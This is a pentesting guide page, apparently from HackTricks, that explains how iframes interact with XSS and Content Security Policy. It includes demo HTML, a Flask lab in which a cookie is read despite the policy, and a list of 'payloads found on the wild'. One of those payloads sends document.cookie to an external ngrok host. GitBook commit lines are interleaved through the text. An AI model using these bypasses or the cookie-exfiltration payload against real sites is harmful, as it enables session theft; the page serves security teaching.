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hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md

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GitBook: [#2789] gitbook failing again
2021-10-20 00:45:58 +00:00
# Iframes in XSS and CSP
## Iframes in XSS
There are 3 ways to indicate the content of an iframed page:
* Via `src` indicating an URL (the URL may be cross origin or same origin)
* Via `src` indicating the content using the `data:` protocol
* Via `srcdoc` indicating the content
#### Accesing Parent & Child vars <a href="accesing_parent__child_vars_5" id="accesing_parent__child_vars_5"></a>
```html
<html>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
```
```html
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>
```
If you access the previous html via a http server (like `python3 -m http.server`) you will notice that all the scripts will be executed (as there is no CSP preventing it)., **the parent won’t be able to access the `secret` var inside any iframe** and **only the iframes if2 & if3 (which are considered to be same-site) can access the secret** in the original window.\
Note how if4 is considered to have `null` origin.
### Iframes with CSP <a href="iframes_with_csp_40" id="iframes_with_csp_40"></a>
GitBook: [#2790] iframes
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{% hint style="info" %}
Please, note how in the following bypasses the response to the iframed page doesn't contain any CSP header that prevents JS execution.
{% endhint %}
GitBook: [#2789] gitbook failing again
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The `self` value of `script-src` won’t allow the execution of the JS code using the `data:` protocol or the `srcdoc` attribute.\
However, even the `none` value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the `src` attribute.\
Therefore it’s possible to bypass the CSP of a page with:
```html
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
```
Note how the **previous CSP only permits the execution of the inline script**.\
However, **only `if1` and `if2` scripts are going to be executed but only `if1` will be able to access the parent secret**.
GitBook: [#2828] update desync
2021-11-05 20:59:42 +00:00
![](<../../.gitbook/assets/image (627) (1).png>)
GitBook: [#2789] gitbook failing again
2021-10-20 00:45:58 +00:00
Therefore, it’s possible to **bypass a CSP if you can upload a JS file to the server and load it via iframe even with `script-src 'none'`**. This can **potentially be also done abusing a same-site JSONP endpoint**.
GitBook: [#2790] iframes
2021-10-20 00:55:49 +00:00
You can test this with the following scenario were a cookie is stolen even with `script-src 'none'`. Just run the application and access it with your browser:
GitBook: [#2789] gitbook failing again
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```python
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
GitBook: [#2790] iframes
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def cookie_s():
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return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
```
### Other Payloads found on the wild <a href="other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
```html
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
```
### Iframe sandbox
The `sandbox` attribute enables an extra set of restrictions for the content in the iframe. **By default, no restriction is applied.**
When the `sandbox` attribute is present, and it will:
* treat the content as being from a unique origin
* block form submission
* block script execution
* disable APIs
* prevent links from targeting other browsing contexts
* prevent content from using plugins (through `<embed>`, `<object>`, `<applet>`, or other)
* prevent the content to navigate its top-level browsing context
* block automatically triggered features (such as automatically playing a video or automatically focusing a form control)
The value of the `sandbox` attribute can either be empty (then all restrictions are applied), or a space-separated list of pre-defined values that will REMOVE the particular restrictions.
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```
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